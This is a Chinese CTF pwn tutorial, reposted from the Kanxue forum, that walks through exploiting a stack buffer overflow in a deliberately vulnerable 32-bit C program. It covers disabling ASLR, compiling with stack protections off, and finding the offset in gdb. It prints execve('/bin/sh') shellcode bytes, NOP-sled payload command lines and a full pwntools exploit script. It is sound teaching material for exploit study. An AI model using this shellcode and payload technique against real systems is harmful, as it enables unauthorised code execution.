从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

  • A+
所属分类:逆向工程
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

本文为看雪论优秀文章

看雪论坛作者ID:dxbaicai



从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

一、教程说明

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode


1.1 历史回顾


第一节我们介绍了基础环境准备:
从0开始CTF-PWN(一)——基础环境准备
https://bbs.pediy.com/thread-259199.htm

第二节我们介绍了栈溢出的入门:
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始

1.2 本节说明


之前我们是利用程序代码中已经存在的system函数直接返回shell,本篇会介绍当程序没有提供shell返回的时候,如何构造一个shell。

同样,教程需要对c语言和汇编有一些基本理解,分析过程中遇到问题会穿插对应知识点的方式进行说明。


从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

二、环境设置及编译说明

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode


2.1 环境设置


为了降低入门难度,会关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。
# 注意,下面是临时修改方案,系统重启后会被重置为2echo 0 > /proc/sys/kernel/randomize_va_space


2.2 编译源文件


在实验环境创建.c源代码文件,使用如下命令进行编译。
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o [可执行文件名] [源文件名]

知识点——编译参数说明
  1. -m32:使用32位编译

  2. -O0:关闭所有优化

  3. -g:在可执行文件中加入源码信息

  4. -fno-stack-protector:关闭栈保护

  5. -z execstack:启用栈上代码可执行



从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

三、构造shell

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode


3.1 pwn_test_bof2.c程序


我们来看这样一段程序:
#include <stdio.h>#include <string.h> int main(int argc, char* argv[]) {    char buf[128];    if (argc < 2) return 1;    strcpy(buf, argv[1]);    printf("Input:%sn", buf);    return 0;}

这次我们就只有一个main函数,main函数通过strcpy拷贝argv[1]到事先定义的buf数组中,然后将buf打印出来。

根据上一节所学的知识,我们知道当argv[1]的长度超过128时,就会发生栈溢出,但是没有system函数可以给我们提供shell了,要怎么办呢?

使用如下命令进行编译:
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o pwn_test_bof2_32-gcc4.8 pwn_test_bof2.c

3.2 构造特殊的栈结构


栈结构回顾

我们先来回顾一下上一节中关于函数调用与返回的栈结构。
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
 
调用结束时,栈变化的核心任务是弹出被调用函数(callee)的状态,并将整个栈恢复到调用函数(caller)的状态。首先弹出被调用函数(callee)的局部变量,然后将栈上存储的调用函数(caller)的基地址从栈内弹出,并重新保存到ebp寄存器中,这样调用函数的基地址信息得以恢复,此时栈顶会指向返回地址。最后将返回地址从栈顶弹出,并保存到eip寄存器内,这样调用函数的eip指令信息得以恢复,指向了调用函数后的下一条语句。

构造的栈结构

注意上文最后一句“最后将返回地址从栈顶弹出...指向了调用函数后的下一条语句”,由于程序并没有关闭栈上可执行(编译时使用了-z execstack参数,也就是说可以在栈上执行代码),如果我们将函数的返回地址改到栈上,并在栈上放置我们精心准备过的获取shell的指令语句,使得函数返回时跳转到shellcode去执行。不就可以获得shell了吗?
 
**注意:此时虽然栈被弹出了,但只是栈顶指针的位置发生了变化,之前的写入内存的buf数组其数据并没有被清理(根据cdecl调用约定退出main函数时才被清理),所以我们可以用于跳转。

3.3 什么是shellcode


shellcode就是一串可以返回shell的机器指令码,在linux上典型的有:
Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (48 bytes)

对应代码为:
char shellcode[] =     "xebx11x5ex31xc9xb1x32x80"            "x6cx0exffx01x80xe9x01x75"              "xf6xebx05xe8xeaxffxffxff"            "x32xc1x51x69x30x30x74x69"            "x69x30x63x6ax6fx8axe4x51"            "x54x8axe2x9axb1x0cxcex81";

shellcode本质就是就是一串机器码,执行后提供shell。

3.4 攻击思路


根据上面的分析,我们需要如下计算步骤:
  1. 找出buf变量地址。我们可以从buf一开始就写入shellcode,也可以填写一段padding后再写入shellcode。记录shellcode填充的位置。

  2. 找出main函数返回地址。

  3. 计算main函数返回地址与buf变量地址2者的偏移量,在填充完shellcode后,再填充差值长度的padding,使得可以覆盖返回地址,并将返回地址指向shellcode所在位置。


思路明确,我们现在开始来逐步调试。

* 找出buf地址

我们先随意输入一个字符串作为参数,调试过程中观察在执行完strcpy函数后特殊字符出现在哪个位置,即可快速判断buf的起始位置。
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
 
查看函数汇编代码后在strcpy的下一行下断点,并输入r(run)指令执行,这个时候已经完成了函数调用,另外在ret指令下第二个断点,从上一篇中我们知道,此时栈顶即为返回地址。
disassemble main# 下断点b *0x080491aeb *0x080491c8
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

执行并观察断点1处时的栈空间

# 执行r# 查看50空间的栈(由于buf数组较长,我们这里查看50长度的空间)stack 50

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
 
可以看到buf的起始地址为0xffffd580,记录下来。

找出main函数返回地址

输入c继续执行到第二个断点,我们来验证下地址是不是上图中我们猜测的。
# 继续执行c

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
 
可以看到确实是我们猜测的地址,在栈上的位置为0xffffd60c,另外也说明了可以通过类似<__libc_start_main+241>的关键字去找返回地址。

计算偏移量差值,覆盖返回地址

于是我们可以计算偏移量差值为140:
gdb-peda$ p/d 0xffffd60c - 0xffffd580$2 = 140

尝试构造Payload

于是我们可以构造如下的payload结构,这里buf的起始地址位置就是填在返回地址所在位置:

shellcode + padding + buf的起始地址
# payload:shellcode(48字节) + padding(140-48=92字节) + buf的起始地址(注意要转换成小端序)"xebx11x5ex31xc9xb1x32x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx32xc1x51x69x30x30x74x69x69x30x63x6ax6fx8axe4x51x54x8axe2x9axb1x0cxcex81" + "A"*(140-48) + "x80xd5xffxff"

在命令行里执行,却发现报错了,是我们哪里出错了吗?
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

问题分析

其实这是因为我们一开始调试的时候用的是4位参数AAAA进行调试的,但是我们上面payload输入的是140+4位的长度,导致程序分配的buf的地址发生了变化,起始地址不在是0xffffd580。所以我们重新整理下解题思路应该如下:
  1. 先找出偏移量(偏移量不会变化)

  2. 输入偏移量+4长度的字符,获得此时buf的起始地址

  3. 构造payload


输入144位长度的字符作为参数,并检查返回地址是否被正确覆盖。这里输入:
# "A"*140+"CCCC"gdb -q -args ./pwn_test_bof2_32-gcc4.8 $(python -c 'print "A"*140+"CCCC"')
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
 
重新执行上面的下断点步骤查看buf起始地址和函数返回地址,发现输入长度变化后确实起始地址也跟着变化了,同时验证了原来是main函数返回地址的位置已经被替换成了我们预计的CCCC,证明偏移量是没有发生变化的。
 
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
 
得到144输入长度下buf的起始地址应该为0xffffd4f0。

再次构造payload
# 注意这里我们使用gdb来执行gdb -q -args ./pwn_test_bof2_32-gcc4.8 $(python -c 'print "xebx11x5ex31xc9xb1x32x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx32xc1x51x69x30x30x74x69x69x30x63x6ax6fx8axe4x51x54x8axe2x9axb1x0cxcex81" + "A"*(140-48) + "xf0xd4xffxff"')gdb-peda$ startigdb-peda$ r

可以看到我们终于成功得到了shell:

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
 
但是你会发现如果不在gdb中执行,直接外部执行——又报错了,这又是为啥呢?

增加NOP链

这是因为gdb在运行时,会往栈上添加许多进程使用的环境变量,导致栈的地址变低了,但是直接运行时,没有这些环境变量,所以地址会比gdb中查询获得的高。对于这个问题,我们可以NOP链来绕过。

知识点1:NOP指令

NOP指令,也称作“空指令”,在x86的CPU中机器码为0x90(144)。NOP不执行操作,但占一个程序步。——也就是说当遇到NOP指令的时候,程序不会做任何事,而是继续执行下一条指令。
 
我们可以改造一下payload,在头部放上一段NOP指令,然后再跟上shellcode,并适当偏移之前的buf起始地址,这样当返回地址指向这段NOP指令中的任意一个地址时,因为NOP空指令的关系,会一直找下去,直到遇到shellcode,这样就大大提高了命中率。对于栈可执行程序而言,这是一种很有效的命中方式。

增加链后的payload

我们计划插入60长度的NOP,并把上面查询获得的buf地址+60。
# 使用python快速计算>>> hex(0xffffd4f0+60)'0xffffd52c'

构造payload
./pwn_test_bof2_32-gcc4.8 $(python -c 'print "x90"*60 + "xebx11x5ex31xc9xb1x32x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx32xc1x51x69x30x30x74x69x69x30x63x6ax6fx8axe4x51x54x8axe2x9axb1x0cxcex81" + "A"*(140-48-60) + "x2cxd5xffxff"')

执行得到shell:
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
 
知识点2:使用pwntools.cyclic()快速定位偏移量

这里补充一个快速定位偏移量的好工具
cyclic()
 
在本例中,这样使用:
# 进入python并加载pwntools[email protected]linux:~# python>>> from pwn import *# 生成一个200长度的有序字符串>>> cyclic(200)'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'>>>

然后将这个串作为参数输入程序:
gdb -q -args ./pwn_test_bof2_32-gcc4.8 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabgdb-peda$ startigdb-peda$ r

会看到如下输出:
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
 
这里的0x6261616b表示函数返回到这个地址了,我们把这个放到cyclic_find()里找一下,可以看到返回了正确的偏移量。
>>> cyclic_find(0x6261616b)140

3.6 pwntools实现


这里提供了pwntools攻击的实现。
# coding:utf-8from pwn import *context(arch='amd64', os='linux', log_level='debug')payload = "x90" * 60# shellcodepayload += "xebx11x5ex31xc9xb1x32x80"payload += "x6cx0exffx01x80xe9x01x75"payload += "xf6xebx05xe8xeaxffxffxff"payload += "x32xc1x51x69x30x30x74x69"payload += "x69x30x63x6ax6fx8axe4x51"payload += "x54x8axe2x9axb1x0cxcex81"payload += "A" * (140 - 48 - 60) + p32(0xffffd52c)p = process(argv=['/home/pwn/test/pwn_test_bof2_32-gcc4.8', payload])p.interactive()
 

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

四、总结

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode


我们再来回顾下我们是如何自己构造一个shell的:
  1. 先找出偏移量(可以利用cyclic工具)

  2. 输入偏移量+4长度的字符,获得此时buf的起始地址

  3. 构造payload:

NOP*N + shellcode + padding*(偏移量-shellcode长度-NOP长度) + (shellcode地址)

我们现在知道了怎么构造自己的shell了,但是这一切都是建立在栈上代码可以执行这一基础上的,现在的应用大部分都不太可能打开-z execstack参数了,那么我们继续思考,当栈不可执行时,我们又要怎么获得Shell呢?
从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode


从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

- End -


从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode


看雪ID:dxbaicai

https://bbs.pediy.com/user-home-868728.htm

  *本文由看雪论坛 dxbaicai 原创,转载请注明来自看雪社区。




# 往期推荐





从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

球分享

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

球点赞

从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

球在看



从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: